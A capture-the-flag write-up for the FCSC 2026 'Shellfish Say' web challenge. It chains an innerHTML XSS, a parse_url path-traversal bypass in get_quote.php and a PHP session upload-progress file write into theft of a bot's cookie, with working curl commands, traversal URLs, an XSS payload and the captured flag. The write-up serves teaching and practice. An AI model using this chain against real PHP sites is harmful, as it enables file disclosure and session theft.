Informations

FieldValue
CTFFCSC 2026
CategoryWeb
DifficultyMedium
Points310
Solves84

Description

Enfin la nouvelle version de Shrimp Say est sortie ! Découvrez Shellfish Say !

Pour demander au bot de dire quelque chose, il suffit de se connecter avec : nc challenges.fcsc.fr 2256.

Note : La VM de l’épreuve n’a pas accès à Internet.

https://shellfish-say.fcsc.fr/

Source code is given: shellfish-say.tar.xz

Analysis

Architecture overview

The sources contain these files:

 1$ tree
 2.
 3├── shellfish-say
 4│   ├── docker-compose.yml
 5│   └── src
 6│       ├── app
 7│       │   ├── Dockerfile
 8│       │   ├── html
 9│       │   │   ├── .htaccess
10│       │   │   ├── favicon.ico
11│       │   │   ├── get_quote.php
12│       │   │   ├── index.php
13│       │   │   └── shrimp.gif
14│       │   ├── php.ini
15│       │   ├── quotes
16│       │   │   └── shrimp.txt
17│       │   └── run.sh
18│       └── bot
19│           ├── Dockerfile
20│           ├── entrypoint.sh
21│           └── src
22│               ├── bot.js
23│               ├── package.json
24│               └── utils.js
25└── shellfish-say.tar.xz

We can see that there is a main application in the app folder and a bot service in the other folder. The flag is stored in the cookies of the bot’s browser.

Finding the XSS gadget

The main application contains a main index.php file:

 1<!DOCTYPE html>
 2<html>
 3<head>
 4  <style>
 5    /* CSS */
 6  </style>
 7  <title>Shellfish Say</title>
 8</head>
 9<body>
10  <main>
11    <div class="speech-bubble"></div>
12    <br/>
13    <img src="https://i.giphy.com/uOx4m7GF9mEpkh9MgE.webp" style="width: 350px; height: auto;" alt="shellfish">
14  </main>
15  <script>
16    async function load_quote() {
17      const params = new URLSearchParams(window.location.search);
18      const quote_file = params.get("quote") ?? "shellfish.txt";
19      let quote;
20      let resp = await fetch(`/get_quote?quote=${quote_file}`);
21      quote = await resp.text();
22      
23      document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;
24    }
25
26    document.addEventListener("DOMContentLoaded", function(event){
27      load_quote();
28    });
29  </script>
30</body>
31</html>

We can see that the JavaScript contained in this file loads a quote file from the path /get_quote?quote=${quote_file} which takes as argument an arbitrary filename. Then, the content of this file is dynamically added to the DOM through innerHTML. This means that, if we control the content of the loaded file, we can achieve an XSS and steal the bot’s cookies with this payload: <img src=x onerror=console.log(document.cookie)>

Path traversal

The content of the get_quote.php file is the following:

 1<?php
 2$quote_file = "/tmp/quotes/";
 3if(isset($_GET["quote"])) {
 4    if(strpos($_GET["quote"],":")) {
 5        $quote_file .= parse_url($_GET["quote"].".txt")["path"];
 6    } else {
 7        if(strpos($_GET["quote"], "..")) {
 8            $quote_file .= "shellfish.txt";
 9        } else {
10            $quote_file .= $_GET["quote"].".txt";
11        }
12    }
13} else {
14    $quote_file .= "shellfish.txt";
15}
16if(!file_exists($quote_file)) {
17    $quote_file = "/tmp/quotes/shellfish.txt";
18}
19readfile($quote_file);

The server builds a file path starting from the base directory /tmp/quotes/, then appends .txt at the end. The quote GET parameter goes through four distinct branches:

  1. No quote parameter: defaults to shellfish.txt

  2. quote contains ..: path traversal attempt detected, falls back to shellfish.txt

  3. quote contains :: treated as a URL: parse_url($_GET["quote"] . ".txt")["path"] extracts only the path component and appends it to the base directory. This is the interesting branch — it bypasses the .. check entirely, since the colon triggers parse_url before any traversal check is made.

  4. quote is a plain string: appended as-is: /tmp/quotes/<quote>.txt

Finally, if the resolved file does not exist, it falls back to shellfish.txt before calling readfile(). The protection against path traversal (.. check) only applies to the plain string branch, leaving the parse_url branch unchecked.

This means that if we pass a quote like: http://x/../../../../../etc/passwd, since there is a : in this URL, no check will be applied, the server will only extract the path from this url.

The only problem is that, the server is adding .txt to the provided url before extracting the path. The previous example will therefore result in the following path: /tmp/quotes//../../../../../etc/passwd.txt. To bypass this, we need to abuse the fact that the server adds the extension before extracting the path. This means that, if we add a ? char after the arbitrary filename, the server will parse as:

1$quote_file .= parse_url("http://x/../../../../../etc/passwd?.txt")["path"];

As the .txt extension is now after ? the server will interpret this as a query argument. The resulting quote file will then be:

1/tmp/quotes//../../../../../etc/passwd

We can verify the path traversal by reading the .htaccess from the server, for example:

1$ curl "https://shellfish-say.fcsc.fr/get_quote.php?quote=http://x/../../../../../var/www/html/.htaccess?"
2RewriteEngine On
3RewriteCond %{REQUEST_FILENAME}.php -f
4RewriteRule ^(.+)$ $1.php [L]

We have a path traversal ! Now, we need to find a way to write arbitrary content somewhere on the filesystem to add our XSS payload which will be displayed through the path traversal.

Arbitrary file write through session files

In the php.ini configuration file, we can see this variable:

1session.upload_progress.cleanup = Off

This instruction defines whether the server should remove the progress temporary file “as soon as all POST data has been read”, here is the official documentation from PHP.

We can abuse this parameter to write a sesison file to the filesystem that will not be removed after all the data as been sent. The used payload comes from this documentation about the subject: https://www.exploit-db.com/docs/50157.

In this documentation, they use this payload to write a session file:

1$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=SiLvER' -F 'PHP_SESSION_UPLOAD_PROGRESS=anything' -F 'file=@/etc/hostname'

In the case of our challenge, the session files are written to the /tmp folder. With the previous curl request, a /tmp/sess_SiLvER file will be created with this content:

1$ cat sess_SiLvER 
2a:1:{s:24:"upload_progress_anything";a:5:{s:10:"start_time";i:1777277463;s:14:"content_length";i:337;s:15:"bytes_processed";i:337;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:1:"a";s:8:"tmp_name";s:14:"/tmp/phpVhf4RO";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1777277463;s:15:"bytes_processed";i:2;}}}}

We can see that the arbitrary value anything is contained in the file.

Exploitation

Now, we will chain everything together. First, we will need to write a file containing an XSS payload.

To test everything, we can first test with this payload:

1$ curl https://shellfish-say.fcsc.fr/ -H 'Cookie: PHPSESSID=exploit' -F 'PHP_SESSION_UPLOAD_PROGRESS=\<img src=x onerror=alert(document.domain)>'  -F 'file=@/tmp/a'

Then, navigating to https://shellfish-say.fcsc.fr/get_quote.php?quote=http://x/../../../../../tmp/sess_exploit? results in displaying a JavaScript alert. XSS alert

Now, we just need to adapt the payload to execute console.log(document.cookie).

The curl request will then be:

1$ curl https://shellfish-say.fcsc.fr/ -H 'Cookie: PHPSESSID=exploit' -F 'PHP_SESSION_UPLOAD_PROGRESS=\<img src=x onerror=console.log(document.cookie)>'  -F 'file=@/tmp/a'

Then, we deliver the exploit to the bot to get the flag:

 1$ nc challenges.fcsc.fr 2256
 2==========
 3Tips: Every console.log usage on the bot will be sent back to you :)
 4Note that your exploit must target http://shellfish-say/ to get the flag.
 5==========
 6http://shellfish-say/get_quote.php?quote=http://x/../../../../tmp/sess_exploit?
 7
 8Starting the browser...
 9[T1]> New tab created!
10[T1]> navigating        | about:blank
11
12Setting the flag in a cookie...
13
14Going to the user provided link...
15[T1]> navigating        | http://shellfish-say/get_quote.php?quote=http://x/../../../../tmp/sess_exploit?
16[T1]> console.error     | Failed to load resource: the server responded with a status of 404 (Not Found)
17[T1]> console.log       | FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}
18
19Leaving o/
20[T1]> Tab closed!

Flag

1FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}